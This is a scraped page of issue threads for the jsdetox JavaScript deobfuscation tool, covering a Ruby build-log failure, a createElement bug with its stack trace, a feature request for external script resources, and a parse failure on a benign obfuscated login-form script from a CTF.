 int t() { void ((*volatile p)()); p = (void ((*)()))main; return 0; }
                            ^
checked program was:
/* begin */
 1: #include "ruby.h"
 2:
 3: /*top*/
 4: int t() { void ((*volatile p)()); p = (void ((*)()))main; return 0; }
 5: int main(int argc, char **argv)
 6: {
 7:   if (argc > 1000000) {
 8:     printf("%p", &t);
 9:   }
10:
11:   return 0;
12: }
/* end */

"gcc -o conftest -I/usr/include/ruby-1.9.1/x86_64-linux -I/usr/include/ruby-1.9.1/ruby/backward -I/usr/include/ruby-1.9.1 -I. -D_FORTIFY_SOURCE=2  -D_FORTIFY_SOURCE=2 -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -fno-strict-aliasing -fPIC conftest.c  -L. -L/usr/lib -L. -Wl,-Bsymbolic-functions -Wl,-z,relro -L/build/buildd/ruby1.9.1-1.9.3.484/debian/lib -rdynamic -Wl,-export-dynamic     -lruby-1.9.1 -lpthread  -lpthread -lrt -ldl -lcrypt -lm   -lc"
conftest.c: In function âtâ:
conftest.c:4:1: warning: implicit declaration of function âmainâ [-Wimplicit-function-declaration]
 int t() { main(); return 0; }
 ^
checked program was:
/* begin */
 1: #include "ruby.h"
 2:
 3: /*top*/
 4: int t() { main(); return 0; }
 5: int main(int argc, char **argv)
 6: {
 7:   if (argc > 1000000) {
 8:     printf("%p", &t);
 9:   }
10:
11:   return 0;
12: }
/* end */

--------------------

This is on ubuntu 14.04 64-bit set up with SIFT and REMnux. What other information can I provide? Thank you

document.createElement

Hi svent,

I try to execute this one line JavaScript

document.createElement("div");

The error message is that

wrong number of arguments (given 2, expected 1) (Line 2)

Show trace

/root/Desktop/jsdetox/ext/taka/lib/taka/dom/document.rb:30:in `createElement'
/root/Desktop/jsdetox/lib/framework/jsengine_v8.rb:81:in `block in []'
/usr/lib/ruby/vendor_ruby/v8/access/invocation.rb:16:in `methodcall'
/usr/lib/ruby/vendor_ruby/v8/access/invocation.rb:4:in `methodcall'
/usr/lib/ruby/vendor_ruby/v8/conversion/code.rb:33:in `block in call'
/usr/lib/ruby/vendor_ruby/v8/conversion/code.rb:23:in `call'
/usr/lib/ruby/vendor_ruby/v8/context.rb:99:in `Run'
/usr/lib/ruby/vendor_ruby/v8/context.rb:99:in `block (2 levels) in eval'
at <eval>:2:21
/usr/lib/ruby/vendor_ruby/v8/context.rb:99:in `block in eval'
/usr/lib/ruby/vendor_ruby/v8/context.rb:248:in `block (2 levels) in lock_scope_and_enter'
/usr/lib/ruby/vendor_ruby/v8/context.rb:245:in `HandleScope'
/usr/lib/ruby/vendor_ruby/v8/context.rb:245:in `block in lock_scope_and_enter'
/usr/lib/ruby/vendor_ruby/v8/context.rb:244:in `Locker'
/usr/lib/ruby/vendor_ruby/v8/context.rb:244:in `lock_scope_and_enter'
/usr/lib/ruby/vendor_ruby/v8/context.rb:204:in `enter'
/usr/lib/ruby/vendor_ruby/v8/context.rb:94:in `eval'
/root/Desktop/jsdetox/lib/framework/jsengine_v8.rb:215:in `execute'
/root/Desktop/jsdetox/app/controllers/backend.rb:32:in `block (2 levels) in <top (required)>'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:569:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:569:in `block in route'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in `block (3 levels) in process_destination_path'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:876:in `route_eval'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in `block (2 levels) in process_destination_path'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in `catch'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in `block in process_destination_path'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:25:in `instance_eval'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:25:in `process_destination_path'
(eval):134:in `block (2 levels) in inject_root_methods'
(eval):124:in `catch'
(eval):124:in `block in inject_root_methods'
/var/lib/gems/2.3.0/gems/http_router-0.10.2/lib/http_router/node/root.rb:92:in `[]'
/var/lib/gems/2.3.0/gems/http_router-0.10.2/lib/http_router.rb:119:in `block in call'
/var/lib/gems/2.3.0/gems/http_router-0.10.2/lib/http_router.rb:119:in `catch'
/var/lib/gems/2.3.0/gems/http_router-0.10.2/lib/http_router.rb:119:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:919:in `route!'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:909:in `dispatch!'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:in `block in call!'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in `block in invoke'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in `catch'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in `invoke'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:in `call!'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:780:in `call'
/usr/lib/ruby/vendor_ruby/rack/session/abstract/id.rb:225:in `context'
/usr/lib/ruby/vendor_ruby/rack/session/abstract/id.rb:220:in `call'
/var/lib/gems/2.3.0/gems/sass-3.4.23/lib/sass/plugin/rack.rb:54:in `call'
/usr/lib/ruby/vendor_ruby/rack/head.rb:13:in `call'
/usr/lib/ruby/vendor_ruby/rack/methodoverride.rb:22:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/reloader.rb:250:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/logger.rb:388:in `call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:in `call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `block in call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:in `synchronize'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:in `block in call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `each'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `call'
/usr/lib/ruby/vendor_ruby/thin/connection.rb:86:in `block in pre_process'
/usr/lib/ruby/vendor_ruby/thin/connection.rb:84:in `catch'
/usr/lib/ruby/vendor_ruby/thin/connection.rb:84:in `pre_process'
/usr/lib/ruby/vendor_ruby/thin/connection.rb:53:in `process'
/usr/lib/ruby/vendor_ruby/thin/connection.rb:39:in `receive_data'
/usr/lib/ruby/vendor_ruby/eventmachine.rb:187:in `run_machine'
/usr/lib/ruby/vendor_ruby/eventmachine.rb:187:in `run'
/usr/lib/ruby/vendor_ruby/thin/backends/base.rb:73:in `start'
/usr/lib/ruby/vendor_ruby/thin/server.rb:162:in `start'
/usr/lib/ruby/vendor_ruby/rack/handler/thin.rb:19:in `run'
/var/lib/gems/2.3.0/gems/rack-1.6.5/lib/rack/server.rb:286:in `start'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/server.rb:45:in `start'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/server.rb:34:in `start'
./jsdetox:40:in `<main>'

I looked your codes and find that

      def createElement tag_name
        unless tag_name =~ /^\w+$/
          raise Taka::DOMException.new(Taka::DOMException::INVALID_CHARACTER_ERR)
        end
        Nokogiri::XML::Node.new(tag_name, self)
      end

Include external javascript resources

There have been times where I have been attempting to analyze some javascript that references code in an external library (For example jquery). This external script is included into the page via a tag such as:

<script type='text/javascript' src='http://www.somesite.com/includes/js/jquery/jquery.js'></script>

This code will fail in jsdetox because any function calls to the jquery library will fail (unless you include the full code of jquery in the analyze tab).

The downside to doing that is that it adds several hundred lines of code to the analyze tab (code which can typically be assumed to be safe). It also severely slows down calls to reformat/analyze.

What I am suggesting is that a way to upload a javascript file as an "external resource" be added. You could include this in a new tab. The functionality would be that any code that is executed would be executed with these "external resources" added in, but calls to analyze/reformat would not (unless you think that it would be needed for analyze). Also the script files uploaded to the new "external resources" tab would not appear in the analyze/reformat boxes (but perhaps a list of included external resources should be shown in the gray box on the right to maintain awareness that they are configured).

EDIT: I would have supported this with a pull request, but I am a python guy...

Fails on IIFE code

I have the following code from a CTF that I wanted to throw in here in case it would be able to break down some of the more obscure parts for me:

(()=>{"use strict";function t(e,r){const s=n();return(t=function(t,n){return s[t-=271]})(e,r)}function n(){const t=["88nTNxbi","674502feENOW","2032023SNqBbM","22BoFNoI","submit","520682ZYoYwM","8NCvxNF","351036juKBfo","607930DIkrQc","2UFTray","1335948eXCNaG","loginForm","/login","1304295IBrEeG"];return(n=function(){return t})()}function e(){const n=t,e=document.getElementById(n(274));e.action=n(275),e[n(281)]()}function r(){const t=["registerForm","6634359pNVFml","method","action","1UzWrqh","4251786JMOHtu","/testing/dev/api/v3/register","3379708uVuUSP","3eifQCL","POST","7797979AOoKKf","5986304ePFOpi","336692zuUMXy","submit","3688955HtwrSn"];return(r=function(){return t})()}function s(t,n){const e=r();return(s=function(t,n){return e[t-=199]})(t,n)}function o(){const t=s,n=document.getElementById(t(212));n[t(200)]=t(203),n[t(199)]=t(206),n[t(210)]()}function u(t,n){const e=c();return(u=function(t,n){return e[t-=194]})(t,n)}function c(){const t=["67370NVaJae","176Euyxzh","263842eCWWIF","48zypDZa","3946476BBFrMR","1017fiVBvr","395236JAWcZI","149765hIJPRp","143erIBdq","790092xcFjJE","10655Jtljli","3OkZlct"];return(c=function(){return t})()}function a(){const t=["249907cJcLKv","443991yBytqs","keyup","18638217IUPyOL","6gRcFCw","addEventListener","emailInput","name","1169515suZGLZ","24KlCwin","440075AUCbti","value","change","2091622XzcfjD","onload","innerHTML","Login","click","disabled","files","fileUploadInput","7387264hDtVhe","getElementById"];return(a=function(){return t})()}!function(n,e){const r=t,s=n();for(;;)try{if(369556==parseInt(r(282))/1*(parseInt(r(272))/2)+parseInt(r(278))/3*(-parseInt(r(283))/4)+parseInt(r(276))/5+-parseInt(r(273))/6+-parseInt(r(279))/7+parseInt(r(277))/8*(parseInt(r(284))/9)+parseInt(r(271))/10*(parseInt(r(280))/11))break;s.push(s.shift())}catch(t){s.push(s.shift())}}(n),function(t,n){const e=s,r=t();for(;;)try{if(669711==parseInt(e(201))/1*(parseInt(e(209))/2)+parseInt(e(205))/3*(parseInt(e(204))/4)+-parseInt(e(211))/5+-parseInt(e(202))/6+parseInt(e(207))/7+-parseInt(e(208))/8+parseInt(e(213))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(r),function(t,n){const e=u,r=t();for(;;)try{if(504549==parseInt(e(201))/1+parseInt(e(205))/2*(-parseInt(e(198))/3)+parseInt(e(203))/4+-parseInt(e(197))/5*(-parseInt(e(202))/6)+parseInt(e(194))/7*(-parseInt(e(200))/8)+-parseInt(e(204))/9*(-parseInt(e(199))/10)+parseInt(e(195))/11*(-parseInt(e(196))/12))break;r.push(r.shift())}catch(t){r.push(r.shift())}}(c);const i=p;function p(t,n){const e=a();return(p=function(t,n){return e[t-=241]})(t,n)}!function(t,n){const e=p,r=t();for(;;)try{if(872871==parseInt(e(249))/1+-parseInt(e(252))/2+-parseInt(e(263))/3+-parseInt(e(248))/4*(parseInt(e(247))/5)+-parseInt(e(243))/6*(-parseInt(e(262))/7)+parseInt(e(260))/8+parseInt(e(242))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(a),window[i(253)]=()=>{const t=i,n=document[t(261)](t(259)),r=document[t(261)]("fileUploadButton"),s=document[t(261)](t(245)),u=document[t(261)]("submitButton");s?(!s.value&&(u[t(257)]=!0),u[t(254)]===t(255)?u[t(244)](t(256),e):"Register"===u[t(254)]&&u[t(244)](t(256),o),s[t(244)](t(241),(()=>{const n=t,e=s[n(250)];-1==String(e).search(/^\s*[\w\-\+_]+(\.[\w\-\+_]+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/)?u[n(257)]=!0:u[n(257)]=!1}))):n&&(r[t(244)](t(256),(()=>{n[t(256)]()})),n[t(244)](t(251),(()=>{const e=t;r[e(254)]=n[e(258)][0][e(246)]})))}})();

But due to the IIFE nature of the code, I always get Error parsing Javascript Code when pressing the analyze button in the Docker image.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.